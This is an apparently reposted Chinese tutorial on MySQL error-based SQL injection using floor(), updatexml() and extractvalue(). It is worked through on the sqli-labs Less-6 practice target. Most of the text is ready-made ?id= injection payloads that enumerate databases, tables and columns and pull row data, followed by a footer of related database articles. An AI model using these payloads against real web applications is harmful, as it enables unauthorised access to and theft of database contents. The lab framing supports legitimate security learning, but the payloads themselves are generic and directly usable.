最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结

本文主要是介绍最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SQL报错注入是一种常见的SQL注入攻击方式,攻击者通过注入恶意代码,触发数据库的错误响应,并从错误信息中获取有用的信息。

下面介绍最常见的三个报错注入函数用法及payload总结:

1、floor()

使用floor报错注入,需要确保查询的表必须大于三条数据

payload的大致格式

'union select 1 from (select count(*),concat((slelect语句),floor(rand(0)*2))x from "一个足够大的表" group by x)a--+

本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。

来到sqllabs-Less-6

简单测试一下:

输入一个存在的id,正常回显

输入不存在的id,无任何回显

找闭合点,为双引号

但是这里回显要么存在,要么无回显,因此无法使用联合查询注入,而且也不存在回显为真或者假两种情况,排除掉盲注,那么这关需要使用的是报错注入。

首先我们查当前数据库名

足够大的表那肯定就是information_schema.tables,这个表里包含了所有的表

当然也可以用information_schema.columns,包含了所有的列

?id=1" and (select 1 from (select count(*),concat(0x23,(database()),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

说明:这里的0x23即16进制的23,转换为ASCII字符为 #,主要是便于我们对查询结果的观察

可以得到当前数据库名为 security

我们也可以查其他数据库名

将上述payload的database()换成对应查询语句即可

?id=1" and (select 1 from (select count(*),concat(0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group BY x) as y)--+

 

修改limit语句的参数即可查询到不同的数据库名 

接下来我们查security数据库下的表名

?id=1" and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

可以看到security数据库下的第一个表为 emails

对照本地,即可验证

同样修改limit语句的参数值从而查询其他的表名

比如

?id=1" and (select 1 from (select count(*),concat(0x23,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

其实有时候我们可以使用group_concat()将所以查询内容列出,但是要取决于题目具体环境,如果无法使用,则使用limit语句来限制查询结果的列数,逐条查询。

之后我们查询指定数据库指定表名下的列名

?id=1" and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

第一列名为 id

继续查下一列的列名

?id=1" and (select 1 from (select count(*),concat(0x23,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

得知第二列的列名为 email_id

最后则是查具体字段内容,这里我们查询 email_id 下的内容

?id=1" and (select 1 from (select count(*),concat(0x23,(select email_id from security.emails limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

查第二行数据

?id=1" and (select 1 from (select count(*),concat(0x23,(select email_id from security.emails limit 1,1),0x23,floor(rand(0)*2)) as x from information_schema.columns group by x) as y)--+

以此类推

将查询结果与本地靶场数据库对比,信息一致

 

2、extractvalue 和 updatexml

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml。extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容。

用法上extractvalue与updatexml的区别:updatexml使用三个参数,extractvalue只有两个参数。

它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。

'~'不是xml实体,所以会报错

concat()函数:用于拼接字符串

这里也给出payload

查数据库名

?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+

查表名

这里使用group_concat直接列完

说明:#可以换成~、$等不满足 xpath 格式的字符

下面讲0x23换成了0x7e,即将#换成了~

可以就用database(),也可以具体指定为security

?id=1" and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))--+

 

查列名

?id=1" and (select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails')),0x7e))--+

查具体字段内容 

?id=1" and (select updatexml(1,concat(0x7e,(select group_concat(email_id)from security.emails)),0x7e))--+

对于extractvalue()则只写两个参数

extractvalue() 能查询字符串的最大长度为 32,如果我们想要的结果超过 32,就要用 substring() 函数截取或 limit 分页,一次查看最多 32 位。

查数据库名

?id=1" and(select extractvalue(1,concat(0x7e,(select database()))))--+

查表名

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))))--+

查列名

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'))))--+

查字段内容

?id=1" and (select extractvalue(1,concat(0x7e,(select group_concat(email_id)from security.emails))))--+

换句话说,extractvalue的payload就是将updatexml的函数名替换,再删掉第三个参数即可。

以上就是关于最常见的三种报错注入函数及方法和payload的总结。

创作不易,喜欢的可以点赞支持关注一下!

这篇关于最常见的SQL报错注入函数(floor、updatexml、extractvalue)及payload总结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/533218

相关文章

MySQL 主从复制部署及验证(示例详解)

《MySQL主从复制部署及验证(示例详解)》本文介绍MySQL主从复制部署步骤及学校管理数据库创建脚本,包含表结构设计、示例数据插入和查询语句,用于验证主从同步功能,感兴趣的朋友一起看看吧... 目录mysql 主从复制部署指南部署步骤1.环境准备2. 主服务器配置3. 创建复制用户4. 获取主服务器状态5

SpringBoot中六种批量更新Mysql的方式效率对比分析

《SpringBoot中六种批量更新Mysql的方式效率对比分析》文章比较了MySQL大数据量批量更新的多种方法,指出REPLACEINTO和ONDUPLICATEKEY效率最高但存在数据风险,MyB... 目录效率比较测试结构数据库初始化测试数据批量修改方案第一种 for第二种 case when第三种

解决1093 - You can‘t specify target table报错问题及原因分析

《解决1093-Youcan‘tspecifytargettable报错问题及原因分析》MySQL1093错误因UPDATE/DELETE语句的FROM子句直接引用目标表或嵌套子查询导致,... 目录报js错原因分析具体原因解决办法方法一:使用临时表方法二:使用JOIN方法三:使用EXISTS示例总结报错原

C++中assign函数的使用

《C++中assign函数的使用》在C++标准模板库中,std::list等容器都提供了assign成员函数,它比操作符更灵活,支持多种初始化方式,下面就来介绍一下assign的用法,具有一定的参考价... 目录​1.assign的基本功能​​语法​2. 具体用法示例​​​(1) 填充n个相同值​​(2)

MySql基本查询之表的增删查改+聚合函数案例详解

《MySql基本查询之表的增删查改+聚合函数案例详解》本文详解SQL的CURD操作INSERT用于数据插入(单行/多行及冲突处理),SELECT实现数据检索(列选择、条件过滤、排序分页),UPDATE... 目录一、Create1.1 单行数据 + 全列插入1.2 多行数据 + 指定列插入1.3 插入否则更

MySQL深分页进行性能优化的常见方法

《MySQL深分页进行性能优化的常见方法》在Web应用中,分页查询是数据库操作中的常见需求,然而,在面对大型数据集时,深分页(deeppagination)却成为了性能优化的一个挑战,在本文中,我们将... 目录引言:深分页,真的只是“翻页慢”那么简单吗?一、背景介绍二、深分页的性能问题三、业务场景分析四、

MySQL 迁移至 Doris 最佳实践方案(最新整理)

《MySQL迁移至Doris最佳实践方案(最新整理)》本文将深入剖析三种经过实践验证的MySQL迁移至Doris的最佳方案,涵盖全量迁移、增量同步、混合迁移以及基于CDC(ChangeData... 目录一、China编程JDBC Catalog 联邦查询方案(适合跨库实时查询)1. 方案概述2. 环境要求3.

PostgreSQL中rank()窗口函数实用指南与示例

《PostgreSQL中rank()窗口函数实用指南与示例》在数据分析和数据库管理中,经常需要对数据进行排名操作,PostgreSQL提供了强大的窗口函数rank(),可以方便地对结果集中的行进行排名... 目录一、rank()函数简介二、基础示例:部门内员工薪资排名示例数据排名查询三、高级应用示例1. 每

SQL server数据库如何下载和安装

《SQLserver数据库如何下载和安装》本文指导如何下载安装SQLServer2022评估版及SSMS工具,涵盖安装配置、连接字符串设置、C#连接数据库方法和安全注意事项,如混合验证、参数化查... 目录第一步:打开官网下载对应文件第二步:程序安装配置第三部:安装工具SQL Server Manageme

C#连接SQL server数据库命令的基本步骤

《C#连接SQLserver数据库命令的基本步骤》文章讲解了连接SQLServer数据库的步骤,包括引入命名空间、构建连接字符串、使用SqlConnection和SqlCommand执行SQL操作,... 目录建议配合使用:如何下载和安装SQL server数据库-CSDN博客1. 引入必要的命名空间2.